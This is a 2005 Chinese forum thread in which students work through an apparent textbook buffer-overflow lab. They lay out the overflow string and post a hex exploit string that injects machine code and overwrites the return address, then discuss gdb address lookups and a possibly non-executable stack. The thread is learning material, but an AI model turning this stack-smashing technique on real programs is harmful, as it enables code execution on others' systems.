2、后面的13個字節是buf中剩余的字節和gcc為了對齊(也許不全是,因為整整空了12個字節不使用)而空出來的12個字節。
3、接下來的4個字節就是原來堆棧里的ebp(test函數的STP的ebp,就是getbuf函數開始push進去的ebp)。
4、然后的4個字節就是getbuf返回的eip,修改它,將它修改成buf的起始地址,這個是通過在gdb中使用p &buf命令看出來的(這個地方還有一個問題不明白,一會說)。
5、后面的4個字節是同2一樣的無用空間。然后的4個字節就是val了。由于getxs函數會在buf的末尾加上一個'\0',所以將這個'\0'放在這個無用的空間是無害的。
整個填充串就這樣完成了。
我開始的時候把3中的ebp搞錯了,搞了好常時間沒出來。后來用gdb的x命令觀察堆棧,并單步執行,發現ebp的值不是我原來的那個了(寫blog上那篇文章中的時候),和那個不一樣了。^_^,偷懶偷不得啊!
zne 回復于:2005-02-18 19:52:06 >>我的填充串是這樣的:b8 ef be ad de 68 bf 84 04 08 c3 00 01 02 03 04 05 06 07 08 09 10 11 12 e8 ef ff bf c0 ef ff bf
b8 ef be ad de 68 bf 84 04 08 c3 00 01 02 03 04 05 06 07 08 09 10 11 12 這部分沒意見,下面的test的frame pointer我覺得我輸入的也是對的(不過這里有個問題,一會會提到),關鍵就在buf[]的地址上,是怎么來得到的?
我就是在運行到getbuf的斷點時(此時已執行了push %ebp和movl %esp,%ebp)
print /x ($ebp-24) 來得到buf[]地址的,我感覺應該也沒有錯
但是有一個問題,我看有一些書里寫對每個linux程序來說,代碼段都從0x08048000開始,stack frame段都從0xbfffffff開始,
aero得到的test 的frame pointer是0xbfffefe8,buf[]地址是0xbfffefc0,顯然是符合這個說法的
而我打印出的test 的frame pointer是0xfeeb7ff8,buf[]地址是0xfeeb7fc0,跟書上的說法不符,都比0xbfffffff大出很多... 不知道converse你的情況怎么樣?
我的系統是fedora core 2,去年10月買的,就圖書城里買的那種9張cd一張dvd的那種,有沒有可能是這個系統不許程序執行數據段,尤其是堆棧段的內容呢?
aero 回復于:2005-02-18 22:10:51 >>我就是在運行到getbuf的斷點時(此時已執行了push %ebp和movl %esp,%ebp) print /x ($ebp-24) 來得到buf[]地址的,我感覺應該也沒有錯 的確,感覺這樣也沒有錯啊!呵呵,今天上班有點忙,就沒多看,明天到公司在看看。 另外,我說的那個問題就是:當用b 38(行號)設置斷點的時候,r到這里的時候是剛剛執行完畢call指令(可以用x命令看堆棧看出來)。在這個時候執行p &buf得出的地址值并不是buf的真實地址。而n了一步以后,就實執行了建立getbuf函數的STP后執行p &buf得出的才實真是的buf地址。不知道為什么。那么前面的那個buf是哪個buf呢?如果沒有可見的變量,gdb應該報變量未知啊,而它卻打出了數值。
|